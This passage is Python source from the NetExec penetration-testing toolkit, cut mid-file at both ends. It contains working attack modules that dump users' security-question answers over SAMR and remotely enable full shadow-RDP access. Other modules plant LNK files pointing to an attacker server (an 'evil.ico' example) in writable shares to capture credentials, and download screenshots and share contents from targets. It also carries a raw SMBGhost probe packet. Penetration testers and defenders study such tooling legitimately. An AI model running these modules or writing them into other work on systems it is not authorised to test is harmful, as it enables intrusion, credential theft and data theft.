server_handle) domains = resp["Buffer"]["Buffer"] resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"]) # obtain domain handle for samr connection resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"]) domain_handle = resp["DomainHandle"] status = STATUS_MORE_ENTRIES enumeration_context = 0 # try to iterate through users in domain entries for connection while status == STATUS_MORE_ENTRIES: try: resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context) except DCERPCException as e: if str(e).find("STATUS_MORE_ENTRIES") < 0: raise resp = e.get_packet() for user in resp["Buffer"]["Buffer"]: try: context.log.info(f"Querying security questions for User: {user['Name']}") # request SAMR ID 30 # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6 r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"]) info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation) reset_data = info["Buffer"]["Reset"]["ResetData"] if reset_data == b"": continue reset_data = loads(reset_data) questions = reset_data["questions"] if len(questions) == 0: context.log.highlight(f"User {user['Name']} has no security questions") else: for qna in questions: question = qna["question"] answer = qna["answer"] context.log.highlight(f"{user['Name']} - {question}: {answer}") samr.hSamrCloseHandle(dce, r["UserHandle"]) except samr.DCERPCException as e: if "STATUS_INVALID_INFO_CLASS" in str(e): context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}") continue else: context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}") context.log.debug(traceback_format_exc()) enumeration_context = resp["EnumerationContext"] status = resp["ErrorCode"] except Exception as e: context.log.fail(f"Error: {e}") context.log.debug(traceback_format_exc()) finally: if domain_handle is not None: samr.hSamrCloseHandle(dce, domain_handle) if server_handle is not None: samr.hSamrCloseHandle(dce, server_handle) dce.disconnect() NetExec-1.5.1/nxc/modules/shadowcoerce.py000066400000000000000000000016631514706431700203470ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: name = "shadowcoerce" description = "[REMOVED] Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """ IPSC Use IsPathShadowCopied (default: False). ex. IPSC=true LISTENER Listener IP address (default: 127.0.0.1) """ self.ipsc = False self.listener = "127.0.0.1" if "LISTENER" in module_options: self.listener = module_options["LISTENER"] if "IPSC" in module_options: # Any string that's not empty can be casted to bool True self.ipsc = bool(module_options["IPSC"]) def on_login(self, context, connection): context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"') NetExec-1.5.1/nxc/modules/shadowrdp.py000066400000000000000000000060131514706431700176660ustar00rootroot00000000000000from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from nxc.helpers.misc import CATEGORY # Module by @Defte_ # Enables or disables shadow RDP class NXCModule: name = "shadowrdp" description = "Enables or disables shadow RDP" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.action = None def options(self, context, module_options): if "ACTION" not in module_options: context.log.fail("ACTION option not specified!") exit(1) if module_options["ACTION"].lower() not in ["enable", "disable"]: context.log.fail("ACTION must be either enable, disable or query") exit(1) self.action = module_options["ACTION"].lower() def on_admin_login(self, context, connection): try: remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() if remoteOps._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) regHandle = ans["phKey"] keyHandle = rrp.hBaseRegOpenKey( remoteOps._RemoteOperations__rrp, regHandle, "Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\" )["phkResult"] # Checks if the key already exists or not try: rrp.hBaseRegQueryValue( remoteOps._RemoteOperations__rrp, keyHandle, "Shadow\x00" ) except Exception as e: if "ERROR_FILE_NOT_FOUND" in str(e): context.log.debug("here") ans = rrp.hBaseRegCreateKey( remoteOps._RemoteOperations__rrp, keyHandle, "Shadow\x00") # Disable remote UAC if self.action == "disable": rrp.hBaseRegSetValue( remoteOps._RemoteOperations__rrp, keyHandle, "Shadow\x00", rrp.REG_DWORD, 0 ) context.log.highlight("Shadow RDP disabled") # Enable remote UAC if self.action == "enable": rrp.hBaseRegSetValue( remoteOps._RemoteOperations__rrp, keyHandle, "Shadow\x00", rrp.REG_DWORD, 2 ) context.log.highlight("Shadow RDP with full access enabled") except Exception as e: context.log.debug(f"Error {e}") finally: remoteOps.finish() NetExec-1.5.1/nxc/modules/slinky.py000066400000000000000000000103601514706431700172040ustar00rootroot00000000000000import pylnk3 import ntpath from sys import exit from nxc.helpers.misc import CATEGORY from nxc.paths import TMP_PATH class NXCModule: """ Original idea and PoC by Justin Angel (@4rch4ngel86) Module by @byt3bl33d3r Updated by @Marshall-Hallenbeck """ name = "slinky" description = "Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self): self.server = None self.remote_file_path = None self.local_lnk_path = None self.lnk_name = None self.ico_uri = None self.shares = None self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"] self.cleanup = None def options(self, context, module_options): r""" SERVER IP of the listening server (running Responder, etc) NAME LNK file name written to the share(s) ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico) SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3) IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL) CLEANUP Cleanup (choices: True or False) """ self.cleanup = False if "CLEANUP" in module_options: self.cleanup = bool(module_options["CLEANUP"]) context.log.debug("Cleanup set to True") if "NAME" not in module_options: context.log.fail("NAME option is required!") exit(1) if "SHARES" in module_options: self.shares = module_options["SHARES"].split(",") context.log.debug(f"Shares to write to: {self.shares}") if "IGNORE" in module_options: self.ignore_shares = module_options["IGNORE"].split(",") context.log.debug(f"Ignoring shares: {self.ignore_shares}") if not self.cleanup and "SERVER" not in module_options: context.log.fail("SERVER option is required!") exit(1) if "ICO_URI" in module_options: self.ico_uri = module_options["ICO_URI"] context.log.debug("Overriding") self.lnk_name = module_options["NAME"] self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk" self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk") if not self.cleanup: self.server = module_options["SERVER"] target_path = f"\\\\{self.server}\\share\\{self.lnk_name}.ico" pylnk3.for_file(target_path, self.local_lnk_path) def on_login(self, context, connection): shares = connection.shares() if shares: slinky_logger = context.log.init_log_file() context.log.add_file_log(slinky_logger) for share in shares: if "WRITE" in share["access"] and share["name"] not in self.ignore_shares: if self.shares is not None and share["name"] not in self.shares: context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option") continue context.log.success(f"Found writable share: {share['name']}") if not self.cleanup: with open(self.local_lnk_path, "rb") as lnk: try: connection.conn.putFile(share["name"], self.remote_file_path, lnk.read) context.log.success(f"Created LNK file on the {share['name']} share") except Exception as e: context.log.fail(f"Error writing LNK file to share {share['name']}: {e}") else: try: connection.conn.deleteFile(share["name"], self.remote_file_path) context.log.success(f"Deleted LNK file on the {share['name']} share") except Exception as e: context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}") NetExec-1.5.1/nxc/modules/smbghost.py000066400000000000000000000054301514706431700175230ustar00rootroot00000000000000# everything is comming from https://github.com/ly4k/SMBGhost # credit to @ly4k_ # module by : @r4vanan import socket import struct from nxc.helpers.misc import CATEGORY # Constants MAX_ATTEMPTS = 2000 # False negative chance: 0.04% # SMBGhost Packet SMBGHOST_PKT = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' class NXCModule: name = "smbghost" description = "Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796)." supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options def options(self, context, module_options): # Define options if needed pass def on_login(self, context, connection): self.context = context if self.perform_attack(connection.host): self.context.log.highlight("Potentially vulnerable to SMBGhost (CVE-2020-0796)") def perform_attack(self, target_ip): self.context.log.debug("Performing SMBGhost check...") try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.settimeout(5) sock.connect((target_ip, 445)) sock.send(SMBGHOST_PKT) # Receive the first 4 bytes for length nb_data = sock.recv(4) if len(nb_data) < 4: self.context.log.debug(f"{target_ip} Connection closed unexpectedly.") return False nb, = struct.unpack(">I", nb_data) res = sock.recv(nb) # Check response for vulnerability if res[68:70] == b"\x11\x03" and res[70:72] == b"\x02\x00": return True else: self.context.log.debug(f"{target_ip} Not vulnerable.") return False except Exception as e: self.context.log.fail(f"Error while connecting to host: {e}") return False NetExec-1.5.1/nxc/modules/snipped.py000066400000000000000000000147341514706431700173460ustar00rootroot00000000000000import ntpath import os from os.path import join, getsize, exists from pathlib import PurePosixPath from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH class NXCModule: name = "snipped" description = "Downloads screenshots taken by the (new) Snipping Tool." supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self): self.context = None self.module_options = None self.excluded_files = ["desktop.ini"] def options(self, context, module_options): """USERS: Download only specified user(s); format: -o USERS=user1,user2,user3""" self.context = context self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None def on_admin_login(self, context, connection): self.context = context self.connection = connection self.share = "C$" output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots") os.makedirs(output_base_dir, exist_ok=True) context.log.info("Getting all user folders") try: user_folders = connection.conn.listPath(self.share, "\\Users\\*") except Exception as e: context.log.fail(f"Failed to list user folders: {e}") return context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}") if not user_folders: context.log.fail("No User folders found!") return else: context.log.info("Attempting to download screenshots if they exist.") total_files_downloaded = 0 host_output_path = None for user_folder in user_folders: folder_name = user_folder.get_longname() if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]: normalized_name = folder_name.lower() if self.users and normalized_name not in self.users: continue context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory") screenshots_folders = self.find_screenshots_folders(folder_name) if not screenshots_folders: context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.") continue for screenshot_path in screenshots_folders: try: screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*") except Exception as e: context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") continue if not screenshot_files: context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") continue user_output_dir = join(output_base_dir, connection.host) os.makedirs(user_output_dir, exist_ok=True) host_output_path = user_output_dir for file in screenshot_files: if not file.is_directory(): remote_file_name = file.get_longname() if remote_file_name.lower() in self.excluded_files: context.log.debug(f"Excluding file {remote_file_name}.") continue remote_file_path = ntpath.join(screenshot_path, remote_file_name) # replace \\ with underscores and ignore absolute path or path traversal attempts clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/")) clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/")) local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}") context.log.debug(f"{local_file_path=}") try: with open(local_file_path, "wb") as local_file: context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") connection.conn.getFile(self.share, remote_file_path, local_file.write) if not exists(local_file_path): context.log.fail(f"Downloaded file '{local_file_path}' does not exist.") continue file_size = getsize(local_file_path) if file_size == 0: context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.") os.remove(local_file_path) else: total_files_downloaded += 1 except Exception as e: context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}") if total_files_downloaded > 0 and host_output_path: context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}/") def find_screenshots_folders(self, user_folder_name): """ Dynamically searches for all Screenshots folders in the user's home directory. Returns a list of paths. """ base_path = ntpath.normpath(join(r"Users", user_folder_name)) screenshots_folders = [] try: subfolders = self.connection.conn.listPath(self.share, base_path + "\\*") for subfolder in subfolders: if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]: potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots") try: if self.connection.conn.listPath(self.share, potential_path + "\\*"): screenshots_folders.append(potential_path) except Exception: continue except Exception as e: self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}") return screenshots_folders NetExec-1.5.1/nxc/modules/spider_plus.py000077500000000000000000000544351514706431700202420ustar00rootroot00000000000000import json import errno from os.path import abspath, join, exists, splitext, getsize from os import makedirs, remove, stat from pathlib import Path, PurePosixPath import time from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH from nxc.protocols.smb.remotefile import RemoteFile from impacket.smb3structs import FILE_READ_DATA from impacket.smbconnection import SessionError from impacket.nmb import NetBIOSTimeout CHUNK_SIZE = 4096 def human_size(nbytes): """Takes a number of bytes as input and converts it to a human-readable size representation with appropriate units (e.g., KB, MB, GB, TB)""" suffixes = ["B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"] # Find the appropriate unit suffix and convert bytes to higher units for i in range(len(suffixes)): if nbytes < 1024 or i == len(suffixes) - 1: break nbytes /= 1024.0 # Format the number of bytes with two decimal places and remove trailing zeros and decimal point size_str = f"{nbytes:.2f}".rstrip("0").rstrip(".") # Return the human-readable size with the appropriate unit suffix return f"{size_str} {suffixes[i]}" def human_time(timestamp): """Takes a numerical timestamp (seconds since the epoch) and formats it as a human-readable date and time in the format "YYYY-MM-DD HH:MM:SS""" return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(timestamp)) def make_dirs(path): """Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist.""" try: makedirs(path) except OSError as e: if e.errno != errno.EEXIST: raise def get_list_from_option(opt): """Takes a comma-separated string and converts it to a list of lowercase strings. It filters out empty strings from the input before converting. """ return [o.lower() for o in filter(bool, opt.split(","))] class SMBSpiderPlus: def __init__( self, smb, logger, download_flag, stats_flag, exclude_exts, exclude_filter, max_file_size, output_folder, ): self.smb = smb self.host = self.smb.conn.getRemoteHost() self.max_connection_attempts = 5 self.logger = logger self.results = {} self.stats = { "shares": [], "shares_readable": [], "shares_writable": [], "num_shares_filtered": 0, "num_folders": 0, "num_folders_filtered": 0, "num_files": 0, "file_sizes": [], "file_exts": set(), "num_get_success": 0, "num_get_fail": 0, "num_files_filtered": 0, "num_files_unmodified": 0, "num_files_updated": 0, } self.download_flag = download_flag self.stats_flag = stats_flag self.exclude_filter = exclude_filter self.exclude_exts = exclude_exts self.max_file_size = max_file_size self.output_folder = output_folder # Make sure the output_folder exists make_dirs(self.output_folder) def reconnect(self): """Performs a series of reconnection attempts, up to `self.max_connection_attempts`, with a 3-second delay between each attempt. It renegotiates the session by creating a new connection object and logging in again. """ for i in range(1, self.max_connection_attempts + 1): self.logger.display(f"Reconnection attempt #{i}/{self.max_connection_attempts} to server.") # Renegotiate the session time.sleep(3) self.smb.create_conn_obj() self.smb.login() return True return False def list_path(self, share, subfolder): """Returns a list of paths for a given share/folder.""" filelist = [] try: # Get file list for the current folder filelist = self.smb.conn.listPath(share, subfolder + "*") except SessionError as e: self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}') if "STATUS_ACCESS_DENIED" in str(e): self.logger.debug(f'Cannot list files in folder "{subfolder}".') elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): self.logger.debug(f"The folder {subfolder} does not exist.") elif self.reconnect(): filelist = self.list_path(share, subfolder) except NetBIOSTimeout as e: self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}') return filelist def get_remote_file(self, share, path): """Checks if a path is readable in a SMB share.""" try: return RemoteFile(self.smb.conn, path, share, access=FILE_READ_DATA) except SessionError: if self.reconnect(): return self.get_remote_file(share, path) def read_chunk(self, remote_file, chunk_size=CHUNK_SIZE): """Reads the next chunk of data from the provided remote file using the specified chunk size. If a `SessionError` is encountered, it retries up to 3 times by reconnecting the SMB connection. If the maximum number of retries is exhausted or an unexpected exception occurs, it returns an empty chunk. """ chunk = "" retry = 3 while retry > 0: retry -= 1 try: chunk = remote_file.read(chunk_size) break except SessionError: if self.reconnect(): # Little hack to reset the smb connection instance remote_file.__smbConnection = self.smb.conn return self.read_chunk(remote_file) except Exception as e: self.logger.exception(e) break return chunk def get_file_save_path(self, remote_file): r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally. Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120) """ self.logger.debug(f"Remote file: {remote_file}") raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/")) self.logger.debug(f"Raw path: {remote_file}") clean_parts = [p for p in raw_path.parts if p not in ("..", ".")] resolved = Path(self.output_folder).joinpath(self.host, *clean_parts) self.logger.debug(f"Resolved path: {resolved}") return str(resolved.parent), resolved.name def spider_shares(self): """Enumerates all available shares for the SMB connection, spiders through the readable shares, and saves the metadata of the shares to a JSON file""" self.logger.info("Enumerating shares for spidering.") shares = self.smb.shares() try: # Get all available shares for the SMB connection for share in shares: share_perms = share["access"] share_name = share["name"] self.stats["shares"].append(share_name) self.logger.info(f'Share "{share_name}" has perms {share_perms}') if "WRITE" in share_perms: self.stats["shares_writable"].append(share_name) if "READ" in share_perms: self.stats["shares_readable"].append(share_name) else: # We only want to spider readable shares self.logger.debug(f'Share "{share_name}" not readable.') continue # `exclude_filter` is applied to the shares name if share_name.lower() in self.exclude_filter: self.logger.info(f'Share "{share_name}" has been excluded.') self.stats["num_shares_filtered"] += 1 continue try: # Start the spider at the root of the share folder self.results[share_name] = {} self.spider_folder(share_name, "") except (SessionError, NetBIOSTimeout) as e: self.logger.exception(e) self.logger.fail(f"Got a session or NetBIOSTimeout error while spidering share: {share_name}") self.reconnect() except Exception as e: self.logger.exception(e) self.logger.fail(f"Error enumerating shares: {e!s}") # Save the metadata. self.dump_folder_metadata(self.results) # Print stats. if self.stats_flag: self.print_stats() return self.results def spider_folder(self, share_name, folder): """Traverses through the contents of the specified share and folder. It checks each entry (file or folder) against various filters, performs file metadata recording, and downloads eligible files if the download flag is set. """ self.logger.info(f'Spider share "{share_name}" in folder "{folder}".') filelist = self.list_path(share_name, folder + "*") # For each entry: # - It's a folder then we spider it (skipping `.` and `..`) # - It's a file then we apply the checks for result in filelist: next_filedir = result.get_longname() if next_filedir in [".", ".."]: continue next_fullpath = folder + next_filedir result_type = "folder" if result.is_directory() else "file" self.stats[f"num_{result_type}s"] += 1 # Check file-dir exclusion filter. if any(d in next_filedir.lower() for d in self.exclude_filter): self.logger.info(f'The {result_type} "{next_filedir}" has been excluded') self.stats[f"num_{result_type}s_filtered"] += 1 continue if result_type == "folder": self.logger.info(f'Current folder in share "{share_name}": "{next_fullpath}"') self.spider_folder(share_name, next_fullpath + "/") else: self.logger.info(f'Current file in share "{share_name}": "{next_fullpath}"') self.parse_file(share_name, next_fullpath, result) def parse_file(self, share_name, file_path, file_info): """Checks file attributes against various filters, records file metadata, and downloads eligible files if the download flag is set""" # Record the file metadata file_size = file_info.get_filesize() file_creation_time = file_info.get_ctime_epoch() file_modified_time = file_info.get_mtime_epoch() file_access_time = file_info.get_atime_epoch() self.results[share_name][file_path] = { "size": human_size(file_size), "ctime_epoch": human_time(file_creation_time), "mtime_epoch": human_time(file_modified_time), "atime_epoch": human_time(file_access_time), } self.stats["file_sizes"].append(file_size) # Check if proceeding with download attempt. if not self.download_flag: return # Check file extension filter. _, file_extension = splitext(file_path) if file_extension: file_extension = file_extension.lstrip(".") self.stats["file_exts"].add(file_extension.lower()) if file_extension.lower() in [ext.lstrip(".") for ext in self.exclude_exts]: self.logger.info(f'The file "{file_path}" has an excluded extension.') self.stats["num_files_filtered"] += 1 return # Check file size limits. if file_size > self.max_file_size: self.logger.info(f"File {file_path} has size {human_size(file_size)} > max size {human_size(self.max_file_size)}.") self.stats["num_files_filtered"] += 1 return # Check if the remote file is readable. remote_file = self.get_remote_file(share_name, file_path) if not remote_file: self.logger.fail(f'Cannot read remote file "{file_path}".') self.stats["num_get_fail"] += 1 return # Check if the file is already downloaded and up-to-date. file_dir, file_name = self.get_file_save_path(remote_file) download_path = join(file_dir, file_name) needs_update_flag = False if exists(download_path): if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size: self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".') self.stats["num_files_unmodified"] += 1 return else: needs_update_flag = True # Download file. download_success = False try: self.logger.info(f'Downloading file "{file_path}" => "{download_path}".') remote_file.open_file() self.save_file(remote_file, share_name) remote_file.close() download_success = True except SessionError as e: if "STATUS_SHARING_VIOLATION" in str(e): pass except Exception as e: self.logger.fail(f'Failed to download file "{file_path}". Error: {e!s}') # Increment stats counters if download_success: self.stats["num_get_success"] += 1 if needs_update_flag: self.stats["num_files_updated"] += 1 else: self.stats["num_get_fail"] += 1 def save_file(self, remote_file, share_name): """Reads the `remote_file` in chunks using the `read_chunk` method. Each chunk is then written to the local file until the entire file is saved. It handles cases where the file remains empty due to errors. """ # Reset the remote_file to point to the beginning of the file. remote_file.seek(0, 0) folder, filename = self.get_file_save_path(remote_file) download_path = join(folder, filename) # Create the subdirectories based on the share name and file path. self.logger.debug(f"Creating folder '{folder}'") make_dirs(folder) try: with open(download_path, "wb") as fd: while True: chunk = self.read_chunk(remote_file) if not chunk: break fd.write(chunk) except Exception as e: self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}') # Check if the file is empty and should not be. if getsize(download_path) == 0 and remote_file.get_filesize() > 0: remove(download_path) remote_path = str(remote_file)[2:] self.logger.fail(f'Unable to download file "{remote_path}".') def dump_folder_metadata(self, results): """Takes the metadata results as input and writes them to a JSON file in the `self.output_folder`. The results are formatted with indentation and sorted keys before being written to the file. """ metadata_path = join(self.output_folder, f"{self.host}.json") try: with open(metadata_path, "w", encoding="utf-8") as fd: fd.write(json.dumps(results, indent=4, sort_keys=True)) self.logger.success(f'Saved share-file metadata to "{metadata_path}".') except Exception as e: self.logger.fail(f"Failed to save share metadata: {e!s}") def print_stats(self): """Prints the statistics during processing""" # Share statistics. shares = self.stats.get("shares", []) if shares: num_shares = len(shares) shares_str = ", ".join(shares) self.logger.display(f"SMB Shares: {num_shares} ({shares_str})") shares_readable = self.stats.get("shares_readable", []) if shares_readable: num_readable_shares = len(shares_readable) shares_readable_str = ", ".join(shares_readable[:10]) + "..." if len(shares_readable) > 10 else ", ".join(shares_readable) self.logger.display(f"SMB Readable Shares: {num_readable_shares} ({shares_readable_str})") shares_writable = self.stats.get("shares_writable", []) if shares_writable: num_writable_shares = len(shares_writable) shares_writable_str = ", ".join(shares_writable[:10]) + "..." if len(shares_writable) > 10 else ", ".join(shares_writable) self.logger.display(f"SMB Writable Shares: {num_writable_shares} ({shares_writable_str})") num_shares_filtered = self.stats.get("num_shares_filtered", 0) if num_shares_filtered: self.logger.display(f"SMB Filtered Shares: {num_shares_filtered}") # Folder statistics. num_folders = self.stats.get("num_folders", 0) self.logger.display(f"Total folders found: {num_folders}") num_folders_filtered = self.stats.get("num_folders_filtered", 0) if num_folders_filtered: self.logger.display(f"Folders Filtered: {num_folders_filtered}") # File statistics. num_files = self.stats.get("num_files", 0) self.logger.display(f"Total files found: {num_files}") num_files_filtered = self.stats.get("num_files_filtered", 0) if num_files_filtered: self.logger.display(f"Files filtered: {num_files_filtered}") if num_files == 0: return # File sizing statistics. file_sizes = self.stats.get("file_sizes", []) if file_sizes: total_file_size = sum(file_sizes) min_file_size = min(file_sizes) max_file_size = max(file_sizes) average_file_size = total_file_size / num_files self.logger.display(f"File size average: {human_size(average_file_size)}") self.logger.display(f"File size min: {human_size(min_file_size)}") self.logger.display(f"File size max: {human_size(max_file_size)}") # Extension statistics. file_exts = list(self.stats.get("file_exts", [])) if file_exts: num_unique_file_exts = len(file_exts) unique_exts_str = ", ".join(file_exts[:10]) + "..." if len(file_exts) > 10 else ", ".join(file_exts) self.logger.display(f"File unique exts: {num_unique_file_exts} ({unique_exts_str})") # Download statistics. if self.download_flag: num_get_success = self.stats.get("num_get_success", 0) if num_get_success: self.logger.display(f"Downloads successful: {num_get_success}") num_get_fail = self.stats.get("num_get_fail", 0) if num_get_fail: self.logger.display(f"Downloads failed: {num_get_fail}") num_files_unmodified = self.stats.get("num_files_unmodified", 0) if num_files_unmodified: self.logger.display(f"Unmodified files: {num_files_unmodified}") num_files_updated = self.stats.get("num_files_updated", 0) if num_files_updated: self.logger.display(f"Updated files: {num_files_updated}") if num_files_unmodified and not num_files_updated: self.logger.display("All files were not changed.") if num_files_filtered == num_files: self.logger.display("All files were ignored.") if num_get_fail == 0: self.logger.success("All files processed successfully.") class NXCModule: """Spider Plus Nodule Module by @vincd Updated by @godylockz """ name = "spider_plus" description = "List files recursively and save a JSON share-file metadata to the 'OUTPUT_FOLDER'. See module options for finer configuration." supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """ List files recursively (excluding `EXCLUDE_FILTER` and `EXCLUDE_EXTS` extensions) and save JSON share-file metadata to the `OUTPUT_FOLDER`. If `DOWNLOAD_FLAG`=True, download files smaller then `MAX_FILE_SIZE` to the `OUTPUT_FOLDER`. DOWNLOAD_FLAG Download all share folders/files (Default: False) STATS_FLAG Disable file/download statistics (Default: True) EXCLUDE_EXTS Case-insensitive extension filter to exclude (Default: ico,lnk) EXCLUDE_FILTER Case-insensitive filter to exclude folders/files (Default: print$,ipc$) MAX_FILE_SIZE Max file size to download (Default: 51200) OUTPUT_FOLDER Path of the local folder to save files (Default: NXC_PATH/nxc_spider_plus) """ self.download_flag = False if any("DOWNLOAD" in key for key in module_options): self.download_flag = True self.stats_flag = True if any("STATS" in key for key in module_options): self.stats_flag = False self.exclude_exts = get_list_from_option(module_options.get("EXCLUDE_EXTS", "ico,lnk")) self.exclude_exts = [d.lower() for d in self.exclude_exts] # force case-insensitive self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$")) self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024)) self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(NXC_PATH, "modules/nxc_spider_plus"))) def on_login(self, context, connection): context.log.display("Started module spidering_plus with the following options:") context.log.display(f" DOWNLOAD_FLAG: {self.download_flag}") context.log.display(f" STATS_FLAG: {self.stats_flag}") context.log.display(f"EXCLUDE_FILTER: {self.exclude_filter}") context.log.display(f" EXCLUDE_EXTS: {self.exclude_exts}") context.log.display(f" MAX_FILE_SIZE: {human_size(self.max_file_size)}") context.log.display(f" OUTPUT_FOLDER: {self.output_folder}") spider = SMBSpiderPlus( connection, context.log, self.download_flag, self.stats_flag, self.exclude_exts, self.exclude_filter, self.max_file_size, self.output_folder, ) spider.spider_shares() NetExec-1.5.1/nxc/modules/spooler.py000066400000000000000000000121111514706431700173520ustar00rootroot00000000000000# https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py from impacket import uuid from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpch import ( RPC_PROXY_INVALID_RPC_PORT_ERR, RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, RPC_PROXY_RPC_OUT_DATA_404_ERR, ) from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from nxc.helpers.misc import CATEGORY KNOWN_PROTOCOLS = { 135: {"bindstr": r"ncacn_ip_tcp:%s[135]"}, 445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"}, } class NXCModule: """ For printnightmare: detect if print spooler is enabled or not. Then use @cube0x0's project https://github.com/cube0x0/CVE-2021-1675 or Mimikatz from Benjamin Delpy Module by @mpgn_x64 """ name = "spooler" description = "Detect if print spooler is enabled or not" supported_protocols = ["smb", "wmi"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.__string_binding = None self.port = None def options(self, context, module_options): """PORT Port to check (defaults to 135)""" self.port = 135 if "PORT" in module_options: self.port = int(module_options["PORT"]) def on_login(self, context, connection): entries = [] lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") self.__stringbinding = 